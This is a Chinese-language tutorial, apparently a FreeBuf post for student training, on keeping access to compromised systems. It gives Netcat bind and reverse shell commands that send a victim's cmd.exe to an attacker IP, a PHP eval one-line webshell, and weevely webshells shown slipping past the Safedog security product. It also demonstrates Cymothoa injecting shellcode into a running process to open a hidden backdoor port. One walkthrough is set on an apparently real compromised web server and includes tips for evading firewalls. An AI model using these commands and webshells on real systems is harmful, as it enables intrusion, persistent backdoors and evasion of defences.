維持訪問
在獲得了目標系統的訪問權之后,攻擊者需要進一步維持這一訪問權限。使用木馬程序、后門程序和rootkit來達到這一目的。維持訪問是一種藝術形式,思想比滲透更加重要。
- Netcat
- Cryptcat
- weevely
- cymothoa
Netcat
NetCat是一個非常簡單的Unix工具,可以讀、寫TCP或UDP網絡連接(network connection)。它被設計成一個可靠的后端(back-end) 工具,能被其它的程序或腳本直接地或容易地驅動。同時,它又是一個功能豐富的網絡調試和開發工具,因為它可以建立你可能用到的幾乎任何類型的連接,以及一些非常有意思的內建功能。NetCat小巧且功能強大,可謂是居家旅行出門必備的“瑞士軍刀”。
一般我們使用netcat做的最多的事情為以下三種:
1、 掃描指定IP端口情況
2、 端口轉發數據(重點)
3、 提交自定義數據包
實例演示:NC反彈CMDShell
常用語法簡單介紹
#連接到某處
netcat [-options] hostname port[s] [ports] …
#監聽端口等待連接
netcat -l -p port [-options] [hostname] [port]
#Options
-u UDP 模式
-v 顯示詳細信息 [-vv更詳細信息]
-w secs 連接超時設置
-z I/O 模式 [掃描時使用]
-l 監聽入站信息
-p port 打開本地端口
-n 以數字形式表示的IP地址
-t 以TELNET的形式應答入站請求
-e prog 程序重定向
掃描常用
【命令】netcat -v ip port
【解釋】掃瞄某 IP 的某個端口,返回端口信息詳細輸出。
【命令】netcat -v -z ip port-port
【解釋】掃描某IP的端口段,返回端口信息詳細輸出,但掃描速度很慢。
【命令】netcat -v -z -u ip port-port
【解釋】掃描某 IP 的某 UDP 端口段,返回端口信息詳細輸出,但掃描速度很慢。
【命令】netcat -nvv -w2 -z ip port-port
【解釋】掃錨某IP的端口段,連接超時時間為2秒。
流量處理
【命令】netcat -l -p 80
【解釋】開啟本機的 TCP 80 端口並監聽次端口的上傳輸的數據。
【命令】netcat -l -v -p 80
【解釋】開啟本機的 TCP 80 端口並將監聽到的信息輸出到當前 CMD 窗口。
【命令】netcat -l -p 80 > log.dat
【解釋】開啟本機的 TCP 80 端口並將監聽到的信息輸出到 log.dat 日志文件里。
【命令】netcat -nvv 192.168.1.1 80
【解釋】連接到192.168.1.101主機的 80端口
正向連接
【遠程運行】netcat -l -p 1234 -t -e %windir%\system32\cmd.exe
【本地運行】netcat -nvv 192.168.1.1 1234
采用正向連接方式,遠程主機(注:假設IP地址為 192.168.1.1)上執行上述命令即為綁定遠程主機的 CMD 到1234 端口,當本地主機連接遠程主機成功時就會返回給本地主機一個CMD Shell 。
反向連接
【本地運行】netcat -l –vv -p 1234
【遠程運行】netcat -t -e %windir%\system32\cmd.exe 192.168.1.2 1234
采用反向連接方式,先在本地主機運行 nc -l –vv -p 1234 開啟1234 端口並監聽等待遠程主機連接;在遠程主機上運行 nc -t -e cmd.exe 192.168.1.2 1234 將遠程主機的 CMD 重定向到 IP 地址為 192.168.1.2(即本機) 端口號為1234 的主機上,連接成功后 IP 地址為 192.168.1.2 的主機會得到一個CMDShell。
NC反彈CMDShell
在Web滲透中,有時候拿到了webshell,我們經常會執行很多命令進行提權等操作,但當我們要嘗試很多命令的時候,使用webshell執行cmd往往沒有本地執行方便,Web程序不穩定,容易崩潰。因此可以借助Webshell通過NC反彈Cmdshell。
#例如已經得到一只webshell如圖
小結
簡單看了下,得知:
1、操作系統版本為Win NT 6.1.7601,那么要么Win7要么Win Server 2008,既然是服務器,后者可能性更大)
2、目錄訪問權限:除了C盤不能訪問,D、E、F、H盤都能跨目錄訪問,說明權限還是比較大的,另外很多文件都具有r/w權限
3、通過多點Ping測試返回結果,可以認為該網站沒有使用CDN加速,即能通過域名輕松得到真實IP
關於判斷CDN、找出CDN下真實IP的方法,我之前整理過,有興趣的話也許可以看下這篇文章:繞過CDN查看真實IP
通過以上信息,那么思路可以如下:步驟簡單演示
1、上傳cmd.exe、nc.exe到D盤根目錄(上傳到權限大的目錄)
2、通過NC建立反彈得到CMDShell(一般選一個看起來“正常”點的端口,奇奇怪怪的端口防火牆容易攔截)
【本地】netcat -l –vv -p 23
【Shell上】nc.exe -t -e cmd.exe X.X.X.X 23
其中X.X.X.X為本機公網IP,實際測試需確保外網能訪問本機,必要時需端口映射等。
【Shell上執行】nc.exe -t -e cmd.exe X.X.X.X 23
【本地】成功得到CMDShell,即在本地可直接執行CMD
Cryptcat
Netcat隧道加密之Cryptcat,正所謂菜刀砍狗頭,滲透信貓流,狗和貓常常是相互的,比如安全狗。cryptcat與netcat最主要區別就是,通過隧道在傳輸數據時,它傳輸的數據經過了加密。
Cryptcat是經典網絡工具netcat的加密版,使用twofish算法加密,其密鑰協商過程基於發送、接收雙發共享的一個password。Cryptcat用法基本和NC相近,不過多介紹了。
weevely
weevely是一款使用python編寫的webshell工具(集webshell生成和連接於一身,僅用於安全學習教學之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限於php)。使用weevely生成的shell免殺能力很強,並使用加密連接,往往能輕松突破防火牆攔截。
概要:常用語法簡單介紹
實例演示:一句話木馬突破“安全狗”
輸入weevely generate可查看幫助
#從提示中可以看到
連接一句話木馬: weevely <URL> <password> [cmd]
加載session文件 weevely session <path> [cmd]
生成后門代理 weevely generate <password> <path>
實驗環境:
OS:Windows Server 2008 R2
Server :Apache 2.4
Firewall:安全狗(Apache版)V3.1正式版
1. 將安全狗的網馬庫更新到最新后,再進行常規掃描,掃描結果為“未發現網頁木馬及其他危險文件”,即一切正常
2. 手動在網站目錄下隨便添加一句話木馬,命名為test.php,結果顯然會被殺
test.php <?php @eval($_POST['c']);?>
#通過weevely生成一句話木馬
weevely generate test /root/Desktop/test.php
(#test為密碼,/root/Desktop/test.php輸出路徑)
3. 將生成的木馬放到網站根目錄,替換原來的test.php
4. 將生成的木馬放到網站根目錄,替換原來的test.php,並重新掃描
5. 通過weevely連接一句話木馬,可直接執行CMD
weevely http://www.xxx.cn/test.php test
cymothoa
Cymothoa 是一款可以將 shellcode 注入到現有進程的(即插進程)后門工具。借助這種注入手段,它能夠把shellcode偽裝成常規程序。它所注入的后門程序應當能夠與被注入的程序(進程)共存,以避免被管理和維護人員懷疑。將shellcode注入到其他進程,還有另外一項優勢:即使目標系統的安全防護工具能夠監視可執行程序的完整性,只要它不檢測內存,那么它就不能發現(插進程)后門程序的進程。
很贊的點是注入到的進程,只要有權限就行,然后反彈的也就是進程相應的權限(並不需要root那樣),當然進程重啟或者掛了也就沒了.當然動作也是很明顯的。
實例演示:利用Cymothoa注入后門
1. 首先可先查看程序PID(*nix系統 ps ,windows系統 tasklist)
2. 在使用Cymothoa時,須通過-p 選項指定目標進程的PID,並通過-s選項指定Shellcode的編號。例如對bash進程進行注入。
查看:
cymothoa -S
比如對bash進行注入
cymothoa -p 8150 -s 0 -y 1001
3. 注入成功后如上圖,其中 -y 代表開放后門端口
4.可以看到注入成功后開了rpc。。
寫在最后
嗯,這幾篇文章么,是有個事情,剛好需要這些給一些大一大二的培訓,然后xx找我整理,所以就簡單的整理了下,內容么偏簡單,介紹些工具,基本也沒什么難度,Freebuf這邊比較鼓勵新人,因此給了個機會發了這些文章(這里感謝Freebuf,尤其洋蔥哥)文章么老早就交了,寫了什么也沒忘了,所以前一篇一不小心xxx我也真的是沒注意到,到現在我還是一臉蒙蔽的….
那些在下面噴我的朋友們,我能理解Y(^_^)Y 被噴是好事,至少說明大家還是希望Freebuf多出好文的,以后投稿我會注意的。當然那些在下面挺我的小伙伴 我也非常感謝大家Y(^_^)Y有個好消息就是這是最后一篇了,我也不會再寫也懶得再寫這種東西了,說真的一個月前熬夜寫這個也是一臉蒙蔽—+二臉蒙球的 某雲現在不能愉快的玩耍了,以后就好好在FB混^ – ^ (另外,並沒有基友啊,正想找一個^ ^呢,求推薦,一起??哈哈)